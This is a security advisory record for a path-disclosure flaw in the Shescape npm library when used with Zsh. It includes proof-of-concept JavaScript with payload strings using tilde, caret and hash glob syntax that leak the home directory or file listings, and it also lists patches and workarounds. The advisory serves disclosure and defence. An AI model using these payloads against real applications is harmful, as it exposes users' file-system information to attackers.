{"id":"CVE-2026-73412","aliases":[],"url":"https://o3.security/vulnerability/CVE-2026-73412","summary":"Shescape: Path disclosure on Unix with Zsh","details":"### Impact\n\nThis impacts users of Shescape on Unix systems that explicitly configure `shell` to Zsh, or `true` when the default shell is Zsh, using the `escape` and `escapeAll`. The Zsh options `EXTENDED_GLOB` and `MAGIC_EQUAL_SUBST` exacerbate the problem.\n\nIn certain case, an attacker can leverage home directory expansion and extended glob syntax to obtain lists of files and directories on the system. Depending on what the command does, this may be used to leak more information.\n\n#### Without option / with `MAGIC_EQUAL_SUBST`\n\n```javascript\nimport * as cp from \"node:child_process\";\nimport { Shescape } from \"shescape\";\n\n// 1. Prerequisites\nconst options = {\n    shell: \"zsh\",\n    // Or\n    shell: true, // Only if the default shell is Zsh\n};\n\n// 2. Payload\nconst payload1 = \":~\";\n// Or\nconst payload2 = \"a=~\"; // requires MAGIC_EQUAL_SUBST\n\n// 3. Usage\nconst shescape = new Shescape(options);\nlet escapedPayload;\n\nescapedPayload = shescape.escape(payload1);\n// Or\nescapedPayload = shescape.escapeAll([payload1]);\n// And (example)\nconst result1 = cp.execSync(`V=${escapedPayload}; echo $V`, options);\n\n// Or\nescapedPayload = shescape.escape(payload2);\n// Or\nescapedPayload = shescape.escapeAll([payload2]);\n// And (example)\nconst result2 = cp.execSync(`echo ${escapedPayload}`, options);\n\n// 4. Impact\nconsole.log(\"\", result1.toString().trim(), \"\\n\", result2.toString().trim());\n// Outputs \":\" followed by the user's home directory on one line and \"a=\"\n// followed by the user's home directory (under MAGIC_EQUAL_SUBST) on the next.\n```\n\n#### With `EXTENDED_GLOB`\n\n```javascript\nimport * as cp from \"node:child_process\";\nimport { Shescape } from \"shescape\";\n\n// 1. Prerequisites\nconst options = {\n    shell: \"zsh\",\n    // Or\n    shell: true, // Only if the default shell is Zsh\n};\n\n// And (example)\n// `setopt EXTENDED_GLOB` in ~/.zshenv\n\n// 2. Payload\nlet payload;\n\npayload = \"pa#ckage.json\";\n// Or\npayload = \"^package.json~package-lock.json\";\n// Or\npayload = \"^nonexistent\";\n\n// 3. Usage\nconst shescape = new Shescape(options);\nlet escapedPayload;\n\nescapedPayload = shescape.escape(payload);\n// Or\nescapedPayload = shescape.escapeAll([payload]);\n\n// And (example)\nconst result = cp.execSync(`echo ${escapedPayload}`, options);\n\n// 4. Impact\nconsole.log(result.toString());\n// Outputs files and directories in the current directory\n```\n\n### Patches\n\nThis bug has been patched in [v2.1.14] and [v3.0.1] which you can upgrade to now.\n\nIf you are already using v3 of Shescape, no further changes are required. If you are using v2 of Shescape it is recommended to upgrade as this version reaches end-of-life status on 2026-09-28, follow the [migration guide] to upgrade to v3.\n\nNo patches will be released for version of Shescape lower than v2.0.0.\n\n### Workarounds\n\nAlternatively, users of Shescape can 1) refrain from using Zsh, 2) ensure the `EXTENDED_GLOB` option is disabled, 3) remove all instances of `^`, `#`, and `~` from untrusted inputs.\n\n### For more information\n\n- Comment on Pull Request [#2651] for v2 and [#2649] for v3\n- Comment on commit [b4b34c3] for v2 and [43d70b5] for v3\n- Open an issue at <https://github.com/ericcornelissen/shescape/issues> (New issue > Question)","published":"2026-07-24T22:33:38Z","modified":"2026-08-12T19:45:10.837932645Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"npm","name":"shescape","fixedVersion":"2.1.14"},{"ecosystem":"npm","name":"shescape","fixedVersion":"3.0.1"}],"fix":{"url":"https://github.com/ericcornelissen/shescape/pull/2649","label":"ericcornelissen/shescape#2649"},"references":[{"type":"WEB","url":"https://github.com/ericcornelissen/shescape/security/advisories/GHSA-6v4m-fw66-8r4x"},{"type":"WEB","url":"https://github.com/ericcornelissen/shescape/pull/2649"},{"type":"WEB","url":"https://github.com/ericcornelissen/shescape/pull/2651"},{"type":"WEB","url":"https://github.com/ericcornelissen/shescape/commit/43d70b59d09bbe5c3fd02ef08b3a123e977ed9de"},{"type":"WEB","url":"https://github.com/ericcornelissen/shescape/commit/b4b34c394e7f9da2775bb75381066b9a228c425f"},{"type":"PACKAGE","url":"https://github.com/ericcornelissen/shescape"},{"type":"WEB","url":"https://github.com/ericcornelissen/shescape/blob/dea8893a5877893d8d4923dbf253080e08899e6d/docs/migration.md"},{"type":"WEB","url":"https://github.com/ericcornelissen/shescape/releases/tag/v2.1.14"},{"type":"WEB","url":"https://github.com/ericcornelissen/shescape/releases/tag/v3.0.1"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T19:45:10.837932645Z"}}